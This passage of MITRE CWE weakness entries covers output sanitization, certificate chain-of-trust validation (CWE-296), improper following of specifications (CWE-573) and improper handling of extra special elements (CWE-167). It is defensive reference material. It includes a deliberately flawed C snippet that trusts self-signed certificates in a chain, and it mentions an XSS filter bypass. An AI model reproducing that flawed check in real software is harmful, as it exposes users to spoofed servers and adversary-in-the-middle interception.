This is a data/directive boundary error in which data boundaries are not sufficiently enforced before it is sent to a different control sphere.

Research Gap

While many published vulnerabilities are related to insufficient output encoding, there is such an emphasis on input validation as a protection mechanism that the underlying causes are rarely described. Within CVE, the focus is primarily on well-understood issues like cross-site scripting and SQL injection. It is likely that this weakness frequently occurs in custom protocols that support multiple encodings, which are not necessarily detectable with automated techniques.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
WASC22Improper Output Handling
The CERT Oracle Secure Coding Standard for Java (2011)IDS00-JExactSanitize untrusted data passed across a trust boundary
The CERT Oracle Secure Coding Standard for Java (2011)IDS05-JUse a subset of ASCII for file and path names
SEI CERT Oracle Coding Standard for JavaIDS00-JImprecisePrevent SQL injection
SEI CERT Perl Coding StandardIDS33-PLExactSanitize untrusted data passed across a trust boundary
+ References
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-46] Joshbw. "Output Sanitization". 2008-09-18. <https://web.archive.org/web/20081208054333/http://analyticalengine.net/archives/58>. URL validated: 2023-04-07.
[REF-47] Niyaz PK. "Sanitizing user data: How and where to do it". 2008-09-11. <https://web.archive.org/web/20090105222005/http://www.diovo.com/2008/09/sanitizing-user-data-how-and-where-to-do-it/>. URL validated: 2023-04-07.
[REF-48] Jeremiah Grossman. "Input validation or output filtering, which is better?". 2007-01-30. <https://blog.jeremiahgrossman.com/2007/01/input-validation-or-output-filtering.html>. URL validated: 2023-04-07.
[REF-49] Jim Manico. "Input Validation - Not That Important". 2008-08-10. <https://manicode.blogspot.com/2008/08/input-validation-not-that-important.html>. URL validated: 2023-04-07.
[REF-50] Michael Eddington. "Preventing XSS with Correct Output Encoding". <http://phed.org/2008/05/19/preventing-xss-with-correct-output-encoding/>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 11, "Canonical Representation Issues" Page 363. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Name, Relationships
2009-01-12CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Terminology_Notes, Theoretical_Notes
2009-03-10CWE Content TeamMITRE
updated Description, Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Relationships
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Relationship_Notes, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated References
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Likelihood_of_Exploit, References, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Potential_Mitigations
2021-03-15CWE Content TeamMITRE
updated Relationships, Terminology_Notes
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Output Validation
2008-09-09Incorrect Output Sanitization
2009-01-12Insufficient Output Sanitization

CWE-296: Improper Following of a Certificate's Chain of Trust

Weakness ID: 296
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate.
+ Extended Description

If a system does not follow the chain of trust of a certificate to a root server, the certificate loses all usefulness as a metric of trust. Essentially, the trust gained from a certificate is derived from a chain of trust -- with a reputable trusted entity at the end of that list. The end user must trust that reputable source, and this reputable source must vouch for the resource in question through the medium of the certificate.

In some cases, this trust traverses several entities who vouch for one another. The entity trusted by the end user is at one end of this trust chain, while the certificate-wielding resource is at the other end of the chain. If the user receives a certificate at the end of one of these trust chains and then proceeds to check only that the first link in the chain, no real trust has been derived, since the entire chain must be traversed back to a trusted source to verify the certificate.

There are several ways in which the chain of trust might be broken, including but not limited to:

  • Any certificate in the chain is self-signed, unless it the root.
  • Not every intermediate certificate is checked, starting from the original certificate all the way up to the root certificate.
  • An intermediate, CA-signed certificate does not have the expected Basic Constraints or other important extensions.
  • The root certificate has been compromised or authorized to the wrong party.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.295Improper Certificate Validation
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.370Missing Check for Certificate Revocation after Initial Check
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1014Identify Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationWhen the product uses certificate pinning, the developer might not properly validate all relevant components of the certificate before pinning the certificate. This can make it difficult or expensive to test after the pinning is complete.
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Non-Repudiation

Technical Impact: Hide Activities

Exploitation of this flaw can lead to the trust of data that may have originated with a spoofed source.
Integrity
Confidentiality
Availability
Access Control

Technical Impact: Gain Privileges or Assume Identity; Execute Unauthorized Code or Commands

Data, requests, or actions taken by the attacking entity can be carried out as a spoofed benign entity.
+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

This code checks the certificate of a connected peer.

(bad code)
Example Language:
if ((cert = SSL_get_peer_certificate(ssl)) && host)
foo=SSL_get_verify_result(ssl);

if ((X509_V_OK==foo) || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo))

// certificate looks good, host can be trusted

In this case, because the certificate is self-signed, there was no external authority that could prove the identity of the host. The program could be communicating with a different system that is spoofing the host, e.g. by poisoning the DNS cache or using an Adversary-in-the-Middle (AITM) attack to modify the traffic from server to client.

+ Observed Examples
ReferenceDescription
Server allows bypass of certificate pinning by sending a chain of trust that includes a trusted CA that is not pinned.
Verification function trusts certificate chains in which the last certificate is self-signed.
Chain: Web browser uses a TLS-related function incorrectly, preventing it from verifying that a server's certificate is signed by a trusted certification authority (CA).
Web browser does not check if any intermediate certificates are revoked.
chain: DNS server does not correctly check return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.
chain: incorrect check of return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.
File-transfer software does not validate Basic Constraints of an intermediate CA-signed certificate.
Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints.
+ Potential Mitigations

Phase: Architecture and Design

Ensure that proper certificate checking is included in the system design.

Phase: Implementation

Understand, and properly implement all checks necessary to ensure the integrity of certificate trust integrity.

Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the full chain of trust.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.948SFP Secondary Cluster: Digital Certificate
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1382ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPFailure to follow chain of trust in certificate validation
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-245] Martin Georgiev, Subodh Iyengar, Suman Jana, Rishita Anubhai, Dan Boneh and Vitaly Shmatikov. "The Most Dangerous Code in the World: Validating SSL Certificates in Non-Browser Software". 2012-10-25. <http://www.cs.utexas.edu/~shmat/shmat_ccs12.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 23: Improper Use of PKI, Especially SSL." Page 347. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name, Relationships
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2010-12-13CWE Content TeamMITRE
updated Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2013-02-21CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Observed_Examples, Other_Notes, References, Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated Modes_of_Introduction, Observed_Examples, Potential_Mitigations, Time_of_Introduction
2019-09-19CWE Content TeamMITRE
updated Demonstrative_Examples
2020-02-24CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2021-07-20CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Modes_of_Introduction
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-03-10Failure to Follow Chain of Trust in Certificate Validation
2013-02-21Improper Following of Chain of Trust for Certificate Validation

CWE-573: Improper Following of Specification by Caller

Weakness ID: 573
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not follow or incorrectly follows the specifications as required by the implementation language, environment, framework, protocol, or platform.
+ Extended Description
When leveraging external functionality, such as an API, it is important that the caller does so in accordance with the requirements of the external functionality or else unintended behaviors may result, possibly leaving the system vulnerable to any number of exploits.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.710Improper Adherence to Coding Standards
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.103Struts: Incomplete validate() Method Definition
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.104Struts: Form Bean Does Not Extend Validation Class
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.243Creation of chroot Jail Without Changing Working Directory
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.253Incorrect Check of Function Return Value
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.296Improper Following of a Certificate's Chain of Trust
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.304Missing Critical Step in Authentication
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.325Missing Cryptographic Step
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.329Generation of Predictable IV with CBC Mode
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.358Improperly Implemented Security Check for Standard
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.475Undefined Behavior for Input to API
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.568finalize() Method Without super.finalize()
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.577EJB Bad Practices: Use of Sockets
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.578EJB Bad Practices: Use of Class Loader
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.579J2EE Bad Practices: Non-serializable Object Stored in Session
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.580clone() Method Without super.clone()
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.581Object Model Violation: Just One of Equals and Hashcode Defined
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.628Function Call with Incorrectly Specified Arguments
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.675Multiple Operations on Resource in Single-Operation Context
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.694Use of Multiple Resources with Duplicate Identifier
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.695Use of Low-Level Functionality
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation; Varies by Context

+ Observed Examples
ReferenceDescription
Crypto implementation removes padding when it shouldn't, allowing forged signatures
Crypto implementation removes padding when it shouldn't, allowing forged signatures
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.850The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1140SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)MET10-JFollow the general contract when implementing the compareTo() method
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships
2011-03-29CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Observed_Examples, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Failure to Follow Specification

CWE-167: Improper Handling of Additional Special Element

Weakness ID: 167
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not handle or incorrectly handles when an additional unexpected special element is provided.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.228Improper Handling of Syntactically Invalid Structure
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.159Improper Handling of Invalid Use of Special Elements
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.19Data Processing Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Extra "<" in front of SCRIPT tag bypasses XSS prevention.
Extra "<" in front of SCRIPT tag.
"<script" - probably a cleansing error
+ Potential Mitigations
Developers should anticipate that extra special elements will be injected in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
